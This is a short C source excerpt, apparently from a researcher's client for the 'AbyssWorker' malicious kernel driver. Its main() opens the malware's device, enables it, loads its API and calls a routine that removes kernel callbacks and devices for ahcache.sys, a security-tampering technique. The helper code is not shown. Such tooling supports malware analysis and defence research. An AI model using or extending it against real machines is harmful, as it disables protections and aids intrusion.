uint32_t main()

in tools/abyssworker/client/main.c [82:119]


uint32_t main(uint32_t argc, const char **argv)
{
    uint32_t result = 0;

    HANDLE device = INVALID_HANDLE_VALUE;
    if (result = open_device(&device))
    {
        printf("[-] Failed to open malware device, code = %d\n", result);
        goto end;
    }
    printf("[+] Malware device opened, %p\n", device);

    if (result = malware_enable(device))
    {
        printf("[-] Failed to enable malware, code = %d\n", result);
        goto end;
    }
    puts("[+] Malware successfully enabled");

    if (result = malware_load_api(device))
    {
        printf("[-] Failed to load malware api, code = %d\n", result);
        goto end;
    }
    puts("[+] Malware api successfully loaded");

    if (result = malware_remove_callbacks_and_devices_by_module_name(device, L"ahcache.sys", true, true))
    {
        printf("[-] Failed to remove callbacks and devices by module name, code = %d\n", result);
        goto end;
    }
    puts("[+] Malware successfully removed callbacks and devices by module name");

end:
    if (INVALID_HANDLE_VALUE != device)
        CloseHandle(device);
    return result;
}